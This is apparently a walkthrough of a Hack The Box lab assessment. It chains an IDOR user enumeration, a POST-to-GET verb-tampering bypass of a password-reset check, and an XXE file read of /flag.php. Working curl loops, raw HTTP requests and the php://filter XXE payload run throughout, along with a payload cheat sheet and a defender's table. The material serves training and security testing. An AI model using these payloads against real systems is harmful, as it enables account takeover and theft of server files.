Skip to content

Skill assessment chain

A canonical engagement chain combining all three Round 13 primitives. Five stages: login → IDOR enumeration to find admin uid and reset-token API → verb-tamper a POST reset into a GET to bypass session-binding → log in as the now-reset admin → use admin-only event-creation endpoint with XXE to read /flag.php.

# Stage 1 - Login as low-privilege user
htb-student / Academy_student! → uid=74
# Stage 2 - IDOR enumeration via /api.php
for uid in {1..100}; do curl '/api.php?uid=$uid'; done
→ uid=52 has role=Administrator
# Stage 3 - Settings page leaks /reset.php API and token
grep 'reset.php\|token' settings.php
→ POST /reset.php with uid, token, new_password
# Stage 4 - POST returns "Access Denied" (session-bound)
# Verb-tamper POST → GET (params move to URL)
GET /reset.php?uid=52&token=<admin_token>&new_password=hacked
→ admin password reset
# Stage 5 - Log in as admin; events.php has XML endpoint
POST /addEvent.php with crafted XML containing XXE
<!DOCTYPE name [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">]>
→ base64 in response; decode for the flag

Success indicator: HTB{...} flag value decoded from the base64-encoded /flag.php source code returned in the XXE response.

A bug bounty engagement on a social-networking web app. Provided credentials: htb-student / Academy_student!. Goal: read /flag.php. The web app has multiple defenses but none individually is tight - chaining the gaps yields full compromise.

This walkthrough is the HTB Web Attacks module skill assessment, presented in the way the operator should approach a real engagement: one primitive at a time, verifying each step’s effect, escalating until the chain completes.

Stage 1 - Authenticate and map the surface

Section titled “Stage 1 - Authenticate and map the surface”

Log in with the provided credentials. After login you land on /index.php showing your own profile. Walk every UI link, intercept everything in Burp, build a mental map.

What you can find without much effort:

  • /profile.php - your profile, with a “View other employees” link
  • /profile.php?uid=74 - looking at this URL reveals your own uid
  • /settings.php - change password page (your password only)
  • /events.php - no link from your role’s UI, but exists in the JS bundle
  • View source on /profile.php reveals references to /api.php

Read the front-end JS / view the source of /profile.php:

<script>
async function fetchProfile(uid) {
const r = await fetch('/api.php?uid=' + uid);
return r.json();
}
fetchProfile(74).then(p => { ... });
</script>

The page makes GET /api.php?uid=<n> to populate user details. Test if it’s IDOR-vulnerable:

Terminal window
$ curl -sb 'PHPSESSID=mine' 'http://target/api.php?uid=74' | jq
{
"uid": "74",
"username": "htb-student",
"email": "student@...",
"role": "Standard",
"token": "..."
}
$ curl -sb 'PHPSESSID=mine' 'http://target/api.php?uid=1' | jq
{
"uid": "1",
"username": "alice",
"email": "alice@...",
"role": "Standard",
"token": "df8e92..."
}

Foreign uid returns foreign user data. IDOR confirmed on /api.php. The token field is interesting - likely the password-reset token (more on this later).

Stage 2 - Mass-enumerate to find the admin

Section titled “Stage 2 - Mass-enumerate to find the admin”

100 users in the system based on the API behavior. Loop:

Terminal window
$ for uid in $(seq 1 100); do
curl -sb 'PHPSESSID=mine' "http://target/api.php?uid=$uid"
done | jq -c 'select(.uid != null)' > all-users.json
$ wc -l all-users.json
100 all-users.json

Filter for non-Standard roles:

Terminal window
$ jq 'select(.role != "Standard")' all-users.json
{
"uid": "52",
"username": "admin",
"email": "admin@...",
"role": "Administrator",
"token": "5e8e0fd92ee1b9d2640cf2a3eda7eb50"
}

The admin is uid=52. The token field is 5e8e0fd92ee1b9d2640cf2a3eda7eb50 - capture this for the next stage.

Two values acquired:

  • admin uid = 52
  • admin reset token = 5e8e0fd92ee1b9d2640cf2a3eda7eb50

Now visit /settings.php and view source. The page handles password changes for yourself - the front-end constructs a POST request to a specific endpoint:

<form id="resetForm" action="/reset.php" method="POST">
<input type="hidden" name="uid" value="74">
<input type="hidden" name="token" value="<your-own-token>">
<input name="new_password" type="password">
<button>Reset</button>
</form>

The reset is parameterized by uid + token. You have an admin’s uid and token. The intended flow: a user resets their own password by submitting their own uid + own token. The implementation gap: does the endpoint verify the token belongs to the requesting session?

Stage 4 - Attempt the naive reset (and the access-denied wall)

Section titled “Stage 4 - Attempt the naive reset (and the access-denied wall)”

Send the reset request manually via Burp Repeater, substituting admin’s uid + token:

POST /reset.php HTTP/1.1
Host: target
Cookie: PHPSESSID=mine
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
uid=52&token=5e8e0fd92ee1b9d2640cf2a3eda7eb50&new_password=hacked123

Response:

Access Denied

The endpoint checks something beyond “is this a valid (uid, token) pair.” Probably checks “does the session cookie belong to the same user whose uid is in the body” - a partial access-control defense.

But - Access Denied is one specific check on the POST path. What about other verbs?

Flip the request method (see Verb tampering for the full pattern). In Burp Repeater, right-click → “Change request method” - Burp moves the body parameters into the query string:

GET /reset.php?uid=52&token=5e8e0fd92ee1b9d2640cf2a3eda7eb50&new_password=hacked123 HTTP/1.1
Host: target
Cookie: PHPSESSID=mine

Response:

Password reset successfully

The session-binding check fired only on the POST handler. The GET handler accepts the same parameters without the session check - classic verb-tampering filter inconsistency. Admin’s password is now hacked123.

The server-side code likely looks like:

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_SESSION['uid'] !== $_POST['uid']) {
die("Access Denied");
}
}
$query = "UPDATE users SET password = ? WHERE uid = ? AND token = ?";
// uses $_REQUEST['uid'], $_REQUEST['token'], $_REQUEST['new_password']

The session check is wrapped in if (POST). GET requests skip the check entirely. The downstream SQL update uses $_REQUEST, which picks up GET parameters. The combined effect: GET version of the request changes any password given a valid (uid, token) pair - and IDOR gave you both.

Log out. Log in with admin / hacked123. Now you’re admin (uid=52).

The admin UI shows a feature the standard user didn’t: an “Events” calendar at /events.php. View the page source:

<script>
async function addEvent(name, details, date) {
const xml = `<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>${name}</name>
<details>${details}</details>
<date>${date}</date>
</root>`;
const r = await fetch('/addEvent.php', {
method: 'POST',
headers: {'Content-Type': 'application/xml'},
body: xml,
});
return r.json();
}
</script>

The admin event-creation feature sends XML to /addEvent.php. XML-receiving endpoint = XXE candidate.

Send a baseline event creation via Burp Repeater:

POST /addEvent.php HTTP/1.1
Host: target
Cookie: PHPSESSID=admin-session; uid=52
Content-Type: application/xml
Content-Length: 153
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>Test event</name>
<details>hello</details>
<date>01/01/2022</date>
</root>

Response:

{"status": "created", "name": "Test event"}

The response echoes the name field. name is the reflection point - perfect for entity-based exfil.

Reflection probe:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY test "PROOF_OF_LIFE">
]>
<root>
<name>&test;</name>
<details>x</details>
<date>x</date>
</root>

Response:

{"status": "created", "name": "PROOF_OF_LIFE"}

✓ Internal entities resolve. XXE confirmed.

Target file is /flag.php. Direct file:// would fail because PHP source contains <?php (the < breaks the parse). Use the php://filter wrapper for base64:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
]>
<root>
<name>&xxe;</name>
<details>hello</details>
<date>01/01/2022</date>
</root>

Send via Burp Repeater. Response:

{"status": "created", "name": "PD9waHAKJGZsYWcgPSAnSFRCe...K"}

The name field contains the base64-encoded source of /flag.php. Decode:

Terminal window
$ echo 'PD9waHAKJGZsYWcgPSAnSFRCe...K' | base64 -d
<?php
$flag = 'HTB{actual_flag_value_here}';
?>

The flag value is in the $flag variable assignment. Capture and submit.

What just happened, end to end:

  1. Authentication - given a low-privilege account
  2. IDOR for disclosure - /api.php?uid=N returned arbitrary user records, including admin’s uid and reset token
  3. Settings page reveal - sourcecode of /settings.php exposed the /reset.php endpoint and its parameter shape
  4. Verb tampering - /reset.php POST had a session-binding check; GET bypassed it
  5. Password reset - armed with admin’s (uid, token) and the GET-flip, reset admin’s password
  6. Privilege escalation - log in as admin
  7. Feature discovery - admin UI exposed /events.php with XML-based /addEvent.php endpoint
  8. XXE - XML endpoint reflected entity content in name field; used php://filter/convert.base64-encode/resource=/flag.php to read the flag

Each step’s primitive is in another page of this cluster:

The chain is what makes the engagement critical-severity. Each individual primitive is medium impact; together they’re an unauthenticated-attacker-reads-/flag.php path.

Walking the defender’s side of the chain:

DefenseWhy it failed
/api.php not exposed in UI for foreign uid lookupsThe endpoint exists but lacks access control - any session can read any uid
Reset endpoint session checkOnly applied on POST; GET bypassed entirely (verb scoping mistake)
Reset endpoint token checkToken check works fine - but the IDOR leaked the admin’s token, so the (uid, token) pair was knowable
Admin-only events feature gated in UIBackend gates on session role correctly (you had to actually become admin) - this defense worked
XML parser external entity resolutionOutdated PHP libxml or LIBXML_NOENT set; external entities resolved with no protection

The events feature is the only defense in the chain that worked - the rest collapsed at each step.

For the report:

FindingStandalone severityChained role
IDOR on /api.phpMediumEnabler - disclosed admin uid and reset token
Verb tampering on /reset.phpMedium-HighBypassed session-binding check on password reset
XXE on /addEvent.phpHigh (admin-only access required)Final unlock - flag retrieval

Composite: critical. Low-privilege user reads /flag.php (effectively: arbitrary file read with root-equivalent access on the web app).

Variations the operator should be ready for

Section titled “Variations the operator should be ready for”

If /api.php returns 403 for foreign uids, the enumeration step fails. Look elsewhere:

  • A user-search endpoint that returns shallow records (username + uid)
  • An admin event-feed endpoint that lists user actions (the JS bundle may reveal it)
  • A profile page that embeds a “view as employee X” admin tool with a URL parameter

The token still needs to come from somewhere; if no IDOR works, the reset chain breaks entirely. In that case, look for other admin-privilege paths (LFI to read DB config, IDOR on a different field, role-cookie tampering - see Cookie tampering).

The reset endpoint may check session-binding on every verb. Alternatives:

  • The reset endpoint may use _method= body param tampering (see Verb tampering)
  • The token may be a JWT - if its signing is weak, forge an admin-token JWT (see JWT)
  • The IDOR may also expose a different password-management endpoint that doesn’t have the session check

External entities may be disabled. Probe with a benign <!ENTITY test "x"> reflection test first. If even internal entities don’t reflect, the parser may have LIBXML_NONET set or use a parser without entity support:

  • Look for blind XXE via error-based or OOB (see Blind exfil)
  • Look for other XML endpoints - SOAP, document upload, RSS subscription
  • Look for /flag.php via LFI, command injection, or RCE if other primitives surface

If admin never visits events.php in time for your XXE to fire (e.g., it’s a system on-demand feature):

  • Trigger the XXE yourself once you’re admin - the chain doesn’t need admin to visit the events page; you visit it directly as the now-reset-admin

Most variations of the chain still resolve to the same flag-read mechanic. The specific primitives shift but the structure (disclosure → escalation → admin-feature → XXE → flag) is the canonical pattern.

Stage 0 - Recon
[ ] Login confirmed
[ ] Profile page mapped (own uid identified)
[ ] Settings page reviewed
[ ] JS bundles searched for AJAX endpoints
[ ] /api.php discovered (or equivalent user-lookup endpoint)
Stage 1 - IDOR
[ ] Substitute uid; foreign user data returned
[ ] Mass enumerate uid 1..N
[ ] Filter for non-default role → admin uid identified
[ ] Reset token captured from admin record
Stage 2 - Reset endpoint discovery
[ ] /reset.php parameters identified from settings.php source
[ ] POST attempt → "Access Denied"
[ ] Verb tamper to GET → "Password reset successfully"
Stage 3 - Admin login
[ ] Logout, login as admin with new password
[ ] Admin UI surveyed for additional features
[ ] /events.php and /addEvent.php located
Stage 4 - XXE
[ ] addEvent.php XML body crafted (baseline test)
[ ] Reflection point in `name` confirmed
[ ] Internal entity reflection probe passes
[ ] php://filter for /flag.php base64-encoded
[ ] Response decoded → flag value
StepCommand / payload
Mass-enumerate usersfor i in $(seq 1 100); do curl '/api.php?uid='$i; done
Filter for adminjq 'select(.role != "Standard")' all-users.json
Naive POST reset (blocked)POST /reset.php body uid=52&token=...&new_password=...
Verb-tampered GET resetGET /reset.php?uid=52&token=...&new_password=...
Burp method swapRight-click request → Change request method
XML reflection probe<!ENTITY test "PROOF"> referenced in <name>
Flag-read XXE<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
Decode responseecho 'BASE64' | base64 -d
If POST has CSRF tokenUse CSRF token bypass
If IDOR is partially defendedSee Insecure APIs for the mismatch-defense bypasses
If XXE responses are blindBlind exfil for OOB chain
If /flag.php has </>/& issuesAlways use php://filter/convert.base64-encode/ - never raw file://

This walkthrough covers the canonical pattern. Real engagements will swap primitives but retain the disclosure → escalation → admin-feature → XXE → flag arc.

Defenses D3-IAA